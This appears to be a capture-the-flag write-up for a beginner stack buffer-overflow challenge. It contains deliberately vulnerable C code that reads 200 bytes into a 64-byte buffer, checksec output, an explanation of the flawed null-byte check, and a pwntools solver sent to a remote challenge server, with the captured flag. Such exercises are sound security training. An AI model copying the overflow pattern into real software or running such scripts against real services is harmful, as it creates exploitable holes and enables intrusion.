#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void vuln() {
char buffer[64];
printf("Welcome to the warmup challenge!\n");
printf("Enter your input: ");
fflush(stdout);
int n = read(0, buffer, 200);
// Check that all bytes read are null (only check up to buffer size or n, whichever is smaller)
int check_size = (n < 64) ? n : 64;
for (int i = 0; i < check_size; i++) {
if (buffer[i] != 0) {
exit(1);
}
}
printf("Good job!\n");
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
vuln();
system("cat flag.txt");
return 0;
}
| Field | Value |
|---|---|
| Category | PWN |
| Difficulty | Easy |
| Author | r3t0x |
| Technique | Null-Byte Buffer Overflow |
pwndbg> checksec ./main
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
The binary has no stack canary and no PIE, making it a straightforward stack-based challenge.
The vuln() function allocates a 64-byte buffer but reads 200 bytes — a classic buffer overflow:
char buffer[64];
int n = read(0, buffer, 200);
However, there's a twist: the binary validates that all bytes in the buffer are null (0x00):
for (int i = 0; i < check_size; i++) {
if (buffer[i] != 0) {
exit(1);
}
}
The key insight is that check_size is limited to min(n, 64) — it only checks the first 64 bytes. The overflow bytes beyond position 64 are never validated.
After vuln() returns, main() calls system("cat flag.txt") — so we simply need vuln() to return normally.
0x00 * 80)read() doesn't need a newline, the null bytes don't terminate earlyvuln() returns normally → system("cat flag.txt") executesfrom pwn import *
payload = b'\x00' * 80
io = remote('4.233.210.175', 9001)
io.recvuntil(b'input: ')
io.send(payload)
io.interactive()
$ python3 solver.py
[+] Opening connection: Done
[*] Switching to interactive mode
Good job!
MOJO-JOJO{w4rmup_n0_pr0bl3m}
from pwn import *
payload = b'\x00' * 80
print(f"Payload length: {len(payload)}")
print(f"All bytes are null: {all(b == 0 for b in payload)}")
#io = process('./main')
io = remote('4.233.210.175',9001)
io.recvuntil(b'input: ') # Wait for prompt
io.send(payload)
time.sleep(0.1) # Give it time to process
io.interactive()